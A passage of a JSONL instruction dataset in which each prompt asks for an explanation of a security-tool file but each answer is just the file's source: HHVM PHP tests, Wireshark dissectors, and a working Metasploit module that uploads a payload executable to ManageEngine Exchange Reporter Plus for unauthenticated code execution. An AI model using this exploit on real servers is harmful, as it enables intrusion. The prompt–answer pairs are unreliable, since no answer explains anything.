\"\"\"\n\n def __init__(self):\n self.excludeDbsList = MIMERSQL_SYSTEM_DBS\n\n for cls in self.__class__.__bases__:\n cls.__init__(self)\n\n unescaper[DBMS.MIMERSQL] = Syntax.escape", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:53076"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/ext/standard/tests/array/in_array_variation1.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "> function main(): void {\necho \"*** Testing in_array() with different needle values ***\\n\";\n$arrays = varray [\n varray[0],\n darray[\"a\" => \"A\", 2 => \"B\", \"C\" => 3, 4 => 4, \"one\" => 1, \"\" => NULL, 5 => \"b\", 6 => \"ab\", 7 => \"abcd\"],\n darray[0 => 4, 1 => darray[0 => 1, 2 => 3], \"one\" => 1, \"5\" => 5 ],\n darray[0 => -1, 1 => -2, 2 => -3, 3 => -4, 4 => -2.989888, \"-0.005\" => \"neg0.005\", 2 => \"float2\", \"-.9\" => -.9],\n varray[TRUE, FALSE],\n varray[\"\", varray[]],\n varray[\"abcd\\x00abcd\\x00abcd\"],\n varray[\"abcd\\tabcd\\nabcd\\rabcd\\0abcdefghij\"]\n];\n\n$array_compare = varray [\n 4,\n \"4\",\n 4.00,\n \"b\",\n \"5\",\n -2,\n -2.0,\n -2.98989,\n \"-.9\",\n \"True\",\n \"\",\n varray[],\n NULL,\n \"ab\",\n \"abcd\",\n 0.0,\n -0,\n \"abcd\\x00abcd\\x00abcd\"\n];\n/* loop to check if elements in $array_compare exist in $arrays\n using in_array() */\n$counter = 1;\nforeach($arrays as $array) {\n foreach($array_compare as $compare) {\n echo \"-- Iteration $counter --\\n\";\n //strict option OFF\n var_dump(in_array($compare,$array));\n //strict option ON\n var_dump(in_array($compare,$array,TRUE));\n //strict option OFF\n var_dump(in_array($compare,$array,FALSE));\n $counter++;\n }\n}\n\necho \"Done\\n\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:28755"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/test/zend/good/ext/mbstring/tests/mb_ereg_variation7.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": " $value) {\n\t\t\techo \" [$key]=>\\n \";\n\t\t\tif (is_string($value)) {\n\t\t\t\tvar_dump(base64_encode($value));\n\t\t\t} else {\n\t\t\t\tvar_dump($value);\n\t\t\t}\n\t\t}\n\t\techo \"}\\n\";\n\t} else {\n\t\techo \"NULL\\n\";\n\t}\n}\n\n<<__EntryPoint>>\nfunction main_entry(): void {\n /* Prototype : int mb_ereg(string $pattern, string $string [, array $registers])\n * Description: Regular expression match for multibyte string\n * Source code: ext/mbstring/php_mbregex.c\n */\n\n /*\n * Testing the following regular expression features match correctly:\n * 1. definite quantifiers\n * 2. Alternation\n * 3. subpatterns in parentheses\n */\n\n echo \"*** Testing mb_ereg() : usage variations ***\\n\";\n\n if(mb_regex_encoding('utf-8') == true) {\n \techo \"Regex encoding set to utf-8\\n\";\n } else {\n \techo \"Could not set regex encoding to utf-8\\n\";\n }\n\n $string_ascii = b'This is an English string. 0123456789.';\n $regex_ascii = b'([A-Z]\\w{1,4}is( [aeiou]|h)) ?.*\\.\\s[0-9]+(5([6-9][79]){2})[[:punct:]]$';\n $regs_ascii = null;\n var_dump(mb_ereg($regex_ascii, $string_ascii, inout $regs_ascii));\n base64_encode_var_dump($regs_ascii);\n\n $string_mb = base64_decode('zpHPhc+Ez4wgzrXOr869zrHOuSDOtc67zrvOt869zrnOus+MIM66zrXOr868zrXOvc6/LiAwMTIzNDU2Nzg5Lg==');\n $regex_mb = base64_decode(\"W86RLc6pXShcdysgKSvOtVvOsS3PiVxzXSvOui4qKM+MfM6/KS4qXC5cc1swLTldKyg1KFs2LTldWzc5XSl7Mn0pW1s6cHVuY3Q6XV0k\");\n $regs_mb = null;\n var_dump(mb_ereg($regex_mb, $string_mb, inout $regs_mb));\n base64_encode_var_dump($regs_mb);\n\n echo \"Done\";\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:27308"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/modules/exploits/windows/http/manageengine_adshacluster_rce.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::EXE\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'ManageEngine Exchange Reporter Plus Unauthenticated RCE',\n 'Description' => %q{\n This module exploits a remote code execution vulnerability that\n exists in Exchange Reporter Plus <= 5310, caused by execution of\n bcp.exe file inside ADSHACluster servlet\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Kacper Szurek '\n ],\n 'References' =>\n [\n ['URL', 'https://security.szurek.pl/en/manage-engine-exchange-reporter-plus-unauthenticated-rce/']\n ],\n 'Platform' => ['win'],\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Targets' => [['Automatic', {}]],\n 'DisclosureDate' => '2018-06-28',\n 'DefaultTarget' => 0))\n\n register_options(\n [\n OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),\n Opt::RPORT(8181),\n ])\n\n end\n\n def bin_to_hex(s)\n s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join\n end\n\n def check\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')\n })\n\n unless res\n vprint_error 'Connection failed'\n return CheckCode::Safe\n end\n\n unless res.code == 200\n vprint_status 'Target is not ManageEngine Exchange Reporter Plus'\n return CheckCode::Safe\n end\n\n begin\n json = res.get_json_document\n raise if json.empty? || !json['BUILD_NUMBER']\n rescue\n vprint_status 'Target is not ManageEngine Exchange Reporter Plus'\n return CheckCode::Safe\n end\n\n vprint_status \"Version: #{json['BUILD_NUMBER']}\"\n\n if json['BUILD_NUMBER'].to_i <= 5310\n return CheckCode::Appears\n end\n\n CheckCode::Safe\n end\n\n def exploit\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),\n 'vars_post' => {\n 'MTCALL' => \"nativeClient\",\n 'BCP_RLL' => \"0102\",\n 'BCP_EXE' => bin_to_hex(generate_payload_exe)\n }\n })\n end\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:44673"}} -{"instruction": "Explain the purpose and role of 'wireshark/epan/dissectors/packet-dcerpc-messenger.c' from the wireshark security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/* packet-dcerpc-messenger.c\n * Routines for SMB \\PIPE\\msgsvc packet disassembly\n * Copyright 2003 Ronnie Sahlberg\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs \n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \"config.h\"\n\n#include \n#include \"packet-dcerpc.h\"\n#include \"packet-dcerpc-nt.h\"\n#include \"packet-windows-common.h\"\n\nvoid proto_register_dcerpc_messenger(void);\nvoid proto_reg_handoff_dcerpc_messenger(void);\n\nstatic int proto_dcerpc_messenger = -1;\nstatic int hf_messenger_opnum = -1;\nstatic int hf_messenger_rc = -1;\nstatic int hf_messenger_server = -1;\nstatic int hf_messenger_client = -1;\nstatic int hf_messenger_message = -1;\n\nstatic gint ett_dcerpc_messenger = -1;\n\n\n/* Windows messenger service listens on two endpoints:\n * \\pipe\\msgsvc named pipe\n * a dynamic UDP port\n */\n\nstatic e_guid_t uuid_dcerpc_messenger = {\n\t0x5a7b91f8, 0xff00, 0x11d0,\n\t{ 0xa9, 0xb2, 0x00, 0xc0, 0x4f, 0xb6, 0xe6, 0xfc}\n};\n\nstatic guint16 ver_dcerpc_messenger = 1;\n\n\n\n/*\n * IDL [in][string][ref] char *server;\n * IDL [in][string][ref] char *client;\n * IDL [in][string][ref] char *message;\n */\nstatic int\nmessenger_dissect_send_message_rqst(tvbuff_t *tvb, int offset, packet_info *pinfo,\n\t\t\t proto_tree *tree, dcerpc_info *di, guint8 *drep)\n{\n\toffset = dissect_ndr_pointer(tvb, offset, pinfo, tree, di, drep,\n\t\t\tdissect_ndr_char_cvstring, NDR_POINTER_REF,\n\t\t\t\"Server\", hf_messenger_server);\n\toffset = dissect_ndr_pointer(tvb, offset, pinfo, tree, di, drep,\n\t\t\tdissect_ndr_char_cvstring, NDR_POINTER_REF,\n\t\t\t\"Client\", hf_messenger_client);\n\toffset = dissect_ndr_pointer(tvb, offset, pinfo, tree, di, drep,\n\t\t\tdissect_ndr_char_cvstring, NDR_POINTER_REF,\n\t\t\t\"Message\", hf_messenger_message);\n\n\n\treturn offset;\n}\nstatic int\nmessenger_dissect_send_message_reply(tvbuff_t *tvb, int offset, packet_info *pinfo,\n\t\t\t proto_tree *tree, dcerpc_info *di, guint8 *drep)\n{\n\toffset = dissect_ntstatus(tvb, offset, pinfo, tree, di, drep,\n\t\t\t\t hf_messenger_rc, NULL);\n\n\treturn offset;\n}\n\n\n\nstatic dcerpc_sub_dissector dcerpc_messenger_dissectors[] = {\n\t{0, \"NetrSendMessage\",\n\t\tmessenger_dissect_send_message_rqst,\n\t\tmessenger_dissect_send_message_reply },\n\t{0, NULL, NULL, NULL }\n};\n\nvoid\nproto_register_dcerpc_messenger(void)\n{\n\tstatic hf_register_info hf[] = {\n\n\t\t{ &hf_messenger_opnum,\n\t\t { \"Operation\", \"messenger.opnum\", FT_UINT16, BASE_DEC,\n\t\t NULL, 0x0, NULL, HFILL }},\n\n\t\t{ &hf_messenger_rc,\n\t\t { \"Return code\", \"messenger.rc\", FT_UINT32, BASE_HEX | BASE_EXT_STRING, &NT_errors_ext, 0x0, NULL, HFILL }},\n\n\t\t{ &hf_messenger_server, {\n\t\t\"Server\", \"messenger.server\",\n\t\tFT_STRING, BASE_NONE, NULL, 0, \"Server to send the message to\", HFILL }},\n\n\t\t{ &hf_messenger_client, {\n\t\t\"Client\", \"messenger.client\",\n\t\tFT_STRING, BASE_NONE, NULL, 0, \"Client that sent the message\", HFILL }},\n\n\t\t{ &hf_messenger_message, {\n\t\t\"Message\", \"messenger.message\",\n\t\tFT_STRING, BASE_NONE, NULL, 0, \"The message being sent\", HFILL }}\n\n\t};\n\n\tstatic gint *ett[] = {\n\t\t&ett_dcerpc_messenger\n\t};\n\n\tproto_dcerpc_messenger = proto_register_protocol(\n\t\t\"Microsoft Messenger Service\", \"Messenger\", \"messenger\");\n\n\tproto_register_field_array (proto_dcerpc_messenger, hf, array_length (hf));\n\tproto_register_subtree_array(ett, array_length(ett));\n\n}\n\nvoid\nproto_reg_handoff_dcerpc_messenger(void)\n{\n\t/* Register protocol as dcerpc */\n\n\tdcerpc_init_uuid(proto_dcerpc_messenger, ett_dcerpc_messenger, &uuid_dcerpc_messenger,\n\t\t\t ver_dcerpc_messenger, dcerpc_messenger_dissectors, hf_messenger_opnum);\n}\n\n/*\n * Editor modelines - https://www.wireshark.org/tools/modelines.html\n *\n * Local variables:\n * c-basic-offset: 8\n * tab-width: 8\n * indent-tabs-mode: t\n * End:\n *\n * vi: set shiftwidth=8 tabstop=8 noexpandtab:\n * :indentSize=8:tabSize=8:noTabs=false:\n */", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:54314"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/full_fidelity/cases/lambda_default_args/func_arg.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": " {};\n }\n\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:7046"}} -{"instruction": "Explain the purpose and role of 'wireshark/epan/dissectors/packet-pingpongprotocol.c' from the wireshark security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/* packet-pingpongprotocol.c\n * Routines for the Ping Pong Protocol, a test application of the\n * RSPLIB RSerPool implementation\n * https://www.uni-due.de/~be0001/rserpool/\n *\n * Copyright 2006-2021 by Thomas Dreibholz \n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs \n * Copyright 1998 Gerald Combs\n *\n * Copied from README.developer\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \"config.h\"\n\n#include \n#include \n#include \n\n\n#define PINGPONGPROTOCOL_PAYLOAD_PROTOCOL_ID_LEGACY 0x29097602\n\nvoid proto_register_pingpongprotocol(void);\nvoid proto_reg_handoff_pingpongprotocol(void);\n\n/* Initialize the protocol and registered fields */\nstatic int proto_pingpongprotocol = -1;\nstatic int tap_pingpongprotocol = -1;\nstatic int ett_pingpongprotocol = -1;\nstatic int hf_message_type = -1;\nstatic int hf_message_flags = -1;\nstatic int hf_message_length = -1;\nstatic int hf_ping_messageno = -1;\nstatic int hf_ping_data = -1;\nstatic int hf_pong_messageno = -1;\nstatic int hf_pong_replyno = -1;\nstatic int hf_pong_data = -1;\n\nstatic guint64 pingpongprotocol_total_msgs = 0;\nstatic guint64 pingpongprotocol_total_bytes = 0;\n\n/* Dissectors for messages. This is specific to PingPongProtocol */\n#define MESSAGE_TYPE_LENGTH 1\n#define MESSAGE_FLAGS_LENGTH 1\n#define MESSAGE_LENGTH_LENGTH 2\n\n#define MESSAGE_TYPE_OFFSET 0\n#define MESSAGE_FLAGS_OFFSET (MESSAGE_TYPE_OFFSET + MESSAGE_TYPE_LENGTH)\n#define MESSAGE_LENGTH_OFFSET (MESSAGE_FLAGS_OFFSET + MESSAGE_FLAGS_LENGTH)\n#define MESSAGE_VALUE_OFFSET (MESSAGE_LENGTH_OFFSET + MESSAGE_LENGTH_LENGTH)\n\n\n#define PING_MESSAGENO_LENGTH 8\n\n#define PING_MESSAGENO_OFFSET MESSAGE_VALUE_OFFSET\n#define PING_DATA_OFFSET (PING_MESSAGENO_OFFSET + PING_MESSAGENO_LENGTH)\n\n#define PONG_MESSAGENO_LENGTH 8\n#define PONG_REPLYNO_LENGTH 8\n\n#define PONG_MESSAGENO_OFFSET MESSAGE_VALUE_OFFSET\n#define PONG_REPLYNO_OFFSET (PONG_MESSAGENO_OFFSET + PONG_MESSAGENO_LENGTH)\n#define PONG_DATA_OFFSET (PONG_REPLYNO_OFFSET + PONG_REPLYNO_LENGTH)\n\n\n#define PINGPONG_PING_MESSAGE_TYPE 0x01\n#define PINGPONG_PONG_MESSAGE_TYPE 0x02\n\n\n\nstatic const value_string message_type_values[] = {\n { PINGPONG_PONG_MESSAGE_TYPE, \"PingPongProtocol Pong\" },\n { PINGPONG_PING_MESSAGE_TYPE, \"PingPongProtocol Ping\" },\n { 0, NULL }\n};\n\n\ntypedef struct _tap_pingpongprotocol_rec_t {\n guint8 type;\n guint16 size;\n const char* type_string;\n} tap_pingpongprotocol_rec_t;\n\n\nstatic void\ndissect_pingpongprotocol_ping_message(tvbuff_t *message_tvb, proto_tree *message_tree)\n{\n guint16 ping_data_length;\n\n proto_tree_add_item(message_tree, hf_ping_messageno, message_tvb, PING_MESSAGENO_OFFSET, PING_MESSAGENO_LENGTH, ENC_BIG_ENDIAN);\n\n ping_data_length = tvb_get_ntohs(message_tvb, MESSAGE_LENGTH_OFFSET) - PING_DATA_OFFSET;\n if (ping_data_length > 0)\n proto_tree_add_item(message_tree, hf_ping_data, message_tvb, PING_DATA_OFFSET, ping_data_length, ENC_NA);\n}\n\nstatic void\ndissect_pingpongprotocol_pong_message(tvbuff_t *message_tvb, proto_tree *message_tree)\n{\n guint16 pong_data_length;\n\n proto_tree_add_item(message_tree, hf_pong_messageno, message_tvb, PONG_MESSAGENO_OFFSET, PONG_MESSAGENO_LENGTH, ENC_BIG_ENDIAN);\n proto_tree_add_item(message_tree, hf_pong_replyno, message_tvb, PONG_REPLYNO_OFFSET, PONG_REPLYNO_LENGTH, ENC_BIG_ENDIAN);\n\n pong_data_length = tvb_get_ntohs(message_tvb, MESSAGE_LENGTH_OFFSET) - PONG_DATA_OFFSET;\n if (pong_data_length > 0) {\n proto_tree_add_item(message_tree, hf_pong_data, message_tvb, PONG_DATA_OFFSET, pong_data_length, ENC_NA);\n }\n}\n\n\nstatic void\ndissect_pingpongprotocol_message(tvbuff_t *message_tvb, packet_info *pinfo, proto_tree *pingpongprotocol_tree)\n{\n tap_pingpongprotocol_rec_t* tap_rec = wmem_new0(pinfo->pool, tap_pingpongprotocol_rec_t);\n tap_rec->type = tvb_get_guint8(message_tvb, MESSAGE_TYPE_OFFSET);\n tap_rec->size = tvb_get_ntohs(message_tvb, MESSAGE_LENGTH_OFFSET);\n tap_rec->type_string = val_to_str_const(tap_rec->type, message_type_values, \"Unknown PingPongProtocol message type\");\n tap_queue_packet(tap_pingpongprotocol, pinfo, tap_rec);\n\n col_add_fstr(pinfo->cinfo, COL_INFO, \"%s \", tap_rec->type_string);\n\n proto_tree_add_item(pingpongprotocol_tree, hf_message_type, message_tvb, MESSAGE_TYPE_OFFSET, MESSAGE_TYPE_LENGTH, ENC_BIG_ENDIAN);\n proto_tree_add_item(pingpongprotocol_tree, hf_message_flags, message_tvb, MESSAGE_FLAGS_OFFSET, MESSAGE_FLAGS_LENGTH, ENC_BIG_ENDIAN);\n proto_tree_add_item(pingpongprotocol_tree, hf_message_length, message_tvb, MESSAGE_LENGTH_OFFSET, MESSAGE_LENGTH_LENGTH, ENC_BIG_ENDIAN);\n switch (tap_rec->type) {\n case PINGPONG_PING_MESSAGE_TYPE:\n dissect_pingpongprotocol_ping_message(message_tvb, pingpongprotocol_tree);\n break;\n case PINGPONG_PONG_MESSAGE_TYPE:\n dissect_pingpongprotocol_pong_message(message_tvb, pingpongprotocol_tree);\n break;\n }\n}\n\nstatic int\ndissect_pingpongprotocol(tvbuff_t *message_tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)\n{\n proto_item *pingpongprotocol_item;\n proto_tree *pingpongprotocol_tree;\n\n col_set_str(pinfo->cinfo, COL_PROTOCOL, \"PingPongProtocol\");\n\n /* In the interest of speed, if \"tree\" is NULL, don't do any work not\n necessary to generate protocol tree items. */\n if (tree) {\n /* create the pingpongprotocol protocol tree */\n pingpongprotocol_item = proto_tree_add_item(tree, proto_pingpongprotocol, message_tvb, 0, -1, ENC_NA);\n pingpongprotocol_tree = proto_item_add_subtree(pingpongprotocol_item, ett_pingpongprotocol);\n } else {\n pingpongprotocol_tree = NULL;\n };\n /* dissect the message */\n dissect_pingpongprotocol_message(message_tvb, pinfo, pingpongprotocol_tree);\n return(TRUE);\n}\n\n\n/* TAP STAT INFO */\ntypedef enum\n{\n MESSAGE_TYPE_COLUMN = 0,\n MESSAGES_COLUMN,\n MESSAGES_SHARE_COLUMN,\n BYTES_COLUMN,\n BYTES_SHARE_COLUMN,\n FIRST_SEEN_COLUMN,\n LAST_SEEN_COLUMN,\n INTERVAL_COLUMN,\n MESSAGE_RATE_COLUMN,\n BYTE_RATE_COLUMN\n} pingpongprotocol_stat_columns;\n\nstatic stat_tap_table_item pingpongprotocol_stat_fields[] = {\n { TABLE_ITEM_STRING, TAP_ALIGN_LEFT, \"PingPongProtocol Message Type\", \"%-25s\" },\n { TABLE_ITEM_UINT, TAP_ALIGN_RIGHT, \"Messages \", \"%u\" },\n { TABLE_ITEM_UINT, TAP_ALIGN_RIGHT, \"Messages Share (%)\" , \"%1.3f %%\" },\n { TABLE_ITEM_UINT, TAP_ALIGN_RIGHT, \"Bytes (B)\", \"%u\" },\n { TABLE_ITEM_UINT, TAP_ALIGN_RIGHT, \"Bytes Share (%) \", \"%1.3f %%\" },\n { TABLE_ITEM_FLOAT, TAP_ALIGN_LEFT, \"First Seen (s)\", \"%1.6f\" },\n { TABLE_ITEM_FLOAT, TAP_ALIGN_LEFT, \"Last Seen (s)\", \"%1.6f\" },\n { TABLE_ITEM_FLOAT, TAP_ALIGN_LEFT, \"Interval (s)\", \"%1.6f\" },\n { TABLE_ITEM_FLOAT, TAP_ALIGN_LEFT, \"Message Rate (Msg/s)\", \"%1.2f\" },\n { TABLE_ITEM_FLOAT, TAP_ALIGN_LEFT, \"Byte Rate (B/s)\", \"%1.2f\" }\n};\n\nstatic void pingpongprotocol_stat_init(stat_tap_table_ui* new_stat)\n{\n const char *table_name = \"PingPongProtocol Statistics\";\n int num_fields = sizeof(pingpongprotocol_stat_fields)/sizeof(stat_tap_table_item);\n stat_tap_table *table;\n int i = 0;\n stat_tap_table_item_type items[sizeof(pingpongprotocol_stat_fields)/sizeof(stat_tap_table_item)];\n\n table = stat_tap_find_table(new_stat, table_name);\n if (table) {\n if (new_stat->stat_tap_reset_table_cb) {\n new_stat->stat_tap_reset_table_cb(table);\n }\n return;\n }\n\n table = stat_tap_init_table(table_name, num_fields, 0, NULL);\n stat_tap_add_table(new_stat, table);\n\n memset(items, 0x0, sizeof(items));\n /* Add a row for each value type */\n while (message_type_values[i].strptr) {\n items[MESSAGE_TYPE_COLUMN].type = TABLE_ITEM_STRING;\n items[MESSAGE_TYPE_COLUMN].value.string_value = message_type_values[i].strptr;\n items[MESSAGES_COLUMN].type = TABLE_ITEM_UINT;\n items[MESSAGES_COLUMN].value.uint_value = 0;\n items[MESSAGES_SHARE_COLUMN].type = TABLE_ITEM_NONE;\n items[MESSAGES_SHARE_COLUMN].value.float_value = -1.0;\n items[BYTES_COLUMN].type = TABLE_ITEM_UINT;\n items[BYTES_COLUMN].value.uint_value = 0;\n items[BYTES_SHARE_COLUMN].type = TABLE_ITEM_NONE;\n items[BYTES_SHARE_COLUMN].value.float_value = -1.0;\n items[FIRST_SEEN_COLUMN].type = TABLE_ITEM_NONE;\n items[FIRST_SEEN_COLUMN].value.float_value = DBL_MAX;\n items[LAST_SEEN_COLUMN].type = TABLE_ITEM_NONE;\n items[LAST_SEEN_COLUMN].value.float_value = DBL_MIN;\n items[INTERVAL_COLUMN].type = TABLE_ITEM_NONE;\n items[INTERVAL_COLUMN].value.float_value = -1.0;\n items[MESSAGE_RATE_COLUMN].type = TABLE_ITEM_NONE;\n items[MESSAGE_RATE_COLUMN].value.float_value = -1.0;\n items[BYTE_RATE_COLUMN].type = TABLE_ITEM_NONE;\n items[BYTE_RATE_COLUMN].value.float_value = -1.0;\n stat_tap_init_table_row(table, i, num_fields, items);\n i++;\n }\n}\n\nstatic tap_packet_status\npingpongprotocol_stat_packet(void* tapdata, packet_info* pinfo _U_, epan_dissect_t* edt _U_, const void* data, tap_flags_t flags _U_)\n{\n stat_data_t* stat_data = (stat_data_t*)tapdata;\n const tap_pingpongprotocol_rec_t* tap_rec = (const tap_pingpongprotocol_rec_t*)data;\n stat_tap_table* table;\n stat_tap_table_item_type* msg_data;\n gint idx;\n guint64 messages;\n guint64 bytes;\n int i = 0;\n double firstSeen = -1.0;\n double lastSeen = -1.0;\n\n idx = str_to_val_idx(tap_rec->type_string, message_type_values);\n if (idx < 0)\n return TAP_PACKET_DONT_REDRAW;\n\n table = g_array_index(stat_data->stat_tap_data->tables, stat_tap_table*, 0);\n\n /* Update packets counter */\n pingpongprotocol_total_msgs++;\n msg_data = stat_tap_get_field_data(table, idx, MESSAGES_COLUMN);\n msg_data->value.uint_value++;\n messages = msg_data->value.uint_value;\n stat_tap_set_field_data(table, idx, MESSAGES_COLUMN, msg_data);\n\n /* Update bytes counter */\n pingpongprotocol_total_bytes += tap_rec->size;\n msg_data = stat_tap_get_field_data(table, idx, BYTES_COLUMN);\n msg_data->value.uint_value += tap_rec->size;\n bytes = msg_data->value.uint_value;\n stat_tap_set_field_data(table, idx, BYTES_COLUMN, msg_data);\n\n /* Update messages and bytes share */\n while (message_type_values[i].strptr) {\n msg_data = stat_tap_get_field_data(table, i, MESSAGES_COLUMN);\n const guint m = msg_data->value.uint_value;\n msg_data = stat_tap_get_field_data(table, i, BYTES_COLUMN);\n const guint b = msg_data->value.uint_value;\n\n msg_data = stat_tap_get_field_data(table, i, MESSAGES_SHARE_COLUMN);\n msg_data->type = TABLE_ITEM_FLOAT;\n msg_data->value.float_value = 100.0 * m / (double)pingpongprotocol_total_msgs;\n stat_tap_set_field_data(table, i, MESSAGES_SHARE_COLUMN, msg_data);\n\n msg_data = stat_tap_get_field_data(table, i, BYTES_SHARE_COLUMN);\n msg_data->type = TABLE_ITEM_FLOAT;\n msg_data->value.float_value = 100.0 * b / (double)pingpongprotocol_total_bytes;\n stat_tap_set_field_data(table, i, BYTES_SHARE_COLUMN, msg_data);\n i++;\n }\n\n /* Update first seen time */\n if (pinfo->presence_flags & PINFO_HAS_TS) {\n msg_data = stat_tap_get_field_data(table, idx, FIRST_SEEN_COLUMN);\n msg_data->type = TABLE_ITEM_FLOAT;\n msg_data->value.float_value = MIN(msg_data->value.float_value, nstime_to_sec(&pinfo->rel_ts));\n firstSeen = msg_data->value.float_value;\n stat_tap_set_field_data(table, idx, FIRST_SEEN_COLUMN, msg_data);\n }\n\n /* Update last seen time */\n if (pinfo->presence_flags & PINFO_HAS_TS) {\n msg_data = stat_tap_get_field_data(table, idx, LAST_SEEN_COLUMN);\n msg_data->type = TABLE_ITEM_FLOAT;\n msg_data->value.float_value = MAX(msg_data->value.float_value, nstime_to_sec(&pinfo->rel_ts));\n lastSeen = msg_data->value.float_value;\n stat_tap_set_field_data(table, idx, LAST_SEEN_COLUMN, msg_data);\n }\n\n if ((lastSeen - firstSeen) > 0.0) {\n /* Update interval */\n msg_data = stat_tap_get_field_data(table, idx, INTERVAL_COLUMN);\n msg_data->type = TABLE_ITEM_FLOAT;\n msg_data->value.float_value = lastSeen - firstSeen;\n stat_tap_set_field_data(table, idx, INTERVAL_COLUMN, msg_data);\n\n /* Update message rate */\n msg_data = stat_tap_get_field_data(table, idx, MESSAGE_RATE_COLUMN);\n msg_data->type = TABLE_ITEM_FLOAT;\n msg_data->value.float_value = messages / (lastSeen - firstSeen);\n stat_tap_set_field_data(table, idx, MESSAGE_RATE_COLUMN, msg_data);\n\n /* Update byte rate */\n msg_data = stat_tap_get_field_data(table, idx, BYTE_RATE_COLUMN);\n msg_data->type = TABLE_ITEM_FLOAT;\n msg_data->value.float_value = bytes / (lastSeen - firstSeen);\n stat_tap_set_field_data(table, idx, BYTE_RATE_COLUMN, msg_data);\n }\n\n return TAP_PACKET_REDRAW;\n}\n\nstatic void\npingpongprotocol_stat_reset(stat_tap_table* table)\n{\n guint element;\n stat_tap_table_item_type* item_data;\n\n for (element = 0; element < table->num_elements; element++) {\n item_data = stat_tap_get_field_data(table, element, MESSAGES_COLUMN);\n item_data->value.uint_value = 0;\n stat_tap_set_field_data(table, element, MESSAGES_COLUMN, item_data);\n\n item_data = stat_tap_get_field_data(table, element, MESSAGES_SHARE_COLUMN);\n item_data->type = TABLE_ITEM_NONE;\n item_data->value.float_value = -1.0;\n stat_tap_set_field_data(table, element, MESSAGES_SHARE_COLUMN, item_data);\n\n item_data = stat_tap_get_field_data(table, element, BYTES_COLUMN);\n item_data->value.uint_value = 0;\n stat_tap_set_field_data(table, element, BYTES_COLUMN, item_data);\n\n item_data = stat_tap_get_field_data(table, element, BYTES_SHARE_COLUMN);\n item_data->type = TABLE_ITEM_NONE;\n item_data->value.float_value = -1.0;\n stat_tap_set_field_data(table, element, BYTES_SHARE_COLUMN, item_data);\n\n item_data = stat_tap_get_field_data(table, element, FIRST_SEEN_COLUMN);\n item_data->type = TABLE_ITEM_NONE;\n item_data->value.float_value = DBL_MAX;\n stat_tap_set_field_data(table, element, FIRST_SEEN_COLUMN, item_data);\n\n item_data = stat_tap_get_field_data(table, element, LAST_SEEN_COLUMN);\n item_data->type = TABLE_ITEM_NONE;\n item_data->value.float_value = DBL_MIN;\n stat_tap_set_field_data(table, element, LAST_SEEN_COLUMN, item_data);\n\n item_data = stat_tap_get_field_data(table, element, INTERVAL_COLUMN);\n item_data->type = TABLE_ITEM_NONE;\n item_data->value.float_value = -1.0;\n stat_tap_set_field_data(table, element, INTERVAL_COLUMN, item_data);\n\n item_data = stat_tap_get_field_data(table, element, MESSAGE_RATE_COLUMN);\n item_data->type = TABLE_ITEM_NONE;\n item_data->value.float_value = -1.0;\n stat_tap_set_field_data(table, element, MESSAGE_RATE_COLUMN, item_data);\n\n item_data = stat_tap_get_field_data(table, element, BYTE_RATE_COLUMN);\n item_data->type = TABLE_ITEM_NONE;\n item_data->value.float_value = -1.0;\n stat_tap_set_field_data(table, element, BYTE_RATE_COLUMN, item_data);\n }\n pingpongprotocol_total_msgs = 0;\n pingpongprotocol_total_bytes = 0;\n}\n\n\n/* Register the protocol with Wireshark */\nvoid\nproto_register_pingpongprotocol(void)\n{\n\n /* Setup list of header fields */\n static hf_register_info hf[] = {\n { &hf_message_type, { \"Type\", \"pingpongprotocol.message_type\", FT_UINT8, BASE_DEC, VALS(message_type_values), 0x0, NULL, HFILL } },\n { &hf_message_flags, { \"Flags\", \"pingpongprotocol.message_flags\", FT_UINT8, BASE_DEC, NULL, 0x0, NULL, HFILL } },\n { &hf_message_length, { \"Length\", \"pingpongprotocol.message_length\", FT_UINT16, BASE_DEC, NULL, 0x0, NULL, HFILL } },\n { &hf_ping_messageno, { \"MessageNo\", \"pingpongprotocol.ping_messageno\", FT_UINT64, BASE_DEC, NULL, 0x0, NULL, HFILL } },\n { &hf_ping_data, { \"Ping_Data\", \"pingpongprotocol.ping_data\", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL } },\n { &hf_pong_messageno, { 